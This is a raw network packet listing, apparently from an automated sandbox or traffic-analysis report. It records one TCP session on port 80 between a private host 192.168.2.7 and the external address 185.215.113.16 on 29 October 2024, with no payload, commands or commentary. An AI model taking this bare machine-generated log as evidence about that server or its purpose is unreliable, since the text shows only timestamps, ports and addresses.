Oct 29, 2024 20:36:19.727936983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727953911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727972984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727981091 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.727986097 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727998018 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728001118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728013039 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728015900 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728025913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728030920 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728039026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728061914 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728079081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728348970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728360891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728372097 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728409052 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728411913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728411913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728421926 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728427887 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728444099 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728465080 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728610992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728625059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728641987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728650093 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728655100 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728667021 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728674889 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728678942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728686094 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728693962 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.728703022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.728755951 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.730741978 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.730772972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.730786085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.730797052 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.730808973 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.730829954 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.730849981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.730865002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.730875969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.730880976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.730998039 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731051922 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731064081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731075048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731086016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731097937 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731107950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731108904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731120110 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731121063 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731133938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731148005 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731162071 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731169939 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731189966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731203079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731204987 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731235981 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731250048 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731374025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731385946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731396914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731408119 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731419086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731420994 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731431961 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731436014 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731443882 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731456041 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731467009 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731477022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731478930 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731492043 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731503010 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731506109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731513977 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731523991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731539011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.731544018 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731571913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.731587887 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.739224911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.739247084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.739259958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.739279032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.739304066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.740489960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.740531921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.740547895 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.740567923 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.740586042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.740602016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.740607977 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.740636110 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.740667105 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.740672112 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.740684032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.740696907 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.740716934 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.740756035 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.753870010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.753906965 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.753926039 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.753936052 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.753937006 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.753947973 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.753954887 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.753978014 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.754004002 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.756341934 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.756370068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.756381035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.756393909 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.756405115 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.756431103 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.756438971 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.756450891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.756460905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.756474018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.756484985 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.756494045 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.756505966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.756520033 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.756552935 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.796436071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.796452045 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.796462059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.796624899 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.840869904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.840892076 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.840900898 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.840924025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.840931892 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841053963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841068983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841074944 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841191053 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.841203928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841216087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841226101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841227055 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.841329098 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.841335058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841346025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841351986 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841360092 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841401100 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.841402054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841417074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841423035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841428995 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841506004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.841583014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841594934 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841599941 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841605902 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841612101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841617107 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841659069 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.841753960 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.841762066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841773033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841778040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841784000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841789961 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841897964 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.841941118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841953993 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841975927 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841983080 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841988087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.841994047 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842067003 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.842120886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842139959 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842149973 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842155933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842166901 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.842220068 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.842266083 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842277050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842283010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842294931 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842302084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842319012 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.842422009 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842427015 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842432976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842438936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842449903 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842457056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842479944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.842561007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842566967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842611074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842624903 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.842624903 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842645884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.842710018 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.842746019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842757940 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842763901 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842770100 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842776060 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842782021 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842864037 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.842941046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842952967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842957973 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842963934 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842968941 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842973948 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.842981100 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.843030930 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.843116045 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.843128920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.843180895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846414089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846446037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846461058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846478939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846478939 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846489906 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846503973 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846509933 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846518040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846533060 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846544027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846568108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846590996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846604109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846616983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846622944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846640110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846642017 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846653938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846659899 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846668959 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846677065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846683025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846698046 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846712112 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846726894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846736908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846755028 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846774101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846777916 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846806049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846810102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846822023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846837997 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846851110 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846908092 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846918106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846930027 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.846946955 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.846971035 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847043991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847054958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847064972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847089052 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847110987 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847456932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847466946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847477913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847500086 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847513914 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847523928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847534895 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847547054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847557068 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847559929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847573042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847574949 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847589970 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847615004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847619057 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847630024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847640991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847651005 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847666025 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847666979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847686052 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847697020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847697973 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847707987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847728968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847729921 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847744942 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847760916 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.847779036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847790956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.847820997 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.856607914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.856623888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.856637001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.856673002 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.856765032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.857451916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.857465029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.857472897 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.857517004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.857527971 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.857531071 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.857572079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.857573032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.857592106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.857599020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.857626915 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.857726097 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.870697021 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.870718002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.870727062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.870732069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.870738029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.870743990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.870845079 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.873296976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.873320103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.873332977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.873348951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.873356104 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.873363018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.873387098 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.873394966 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.873411894 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.873428106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.873439074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.873450041 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.873461008 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.873466015 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.873485088 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.873509884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.913340092 CET	80	49983	185.215.113.16	192.168.2.7
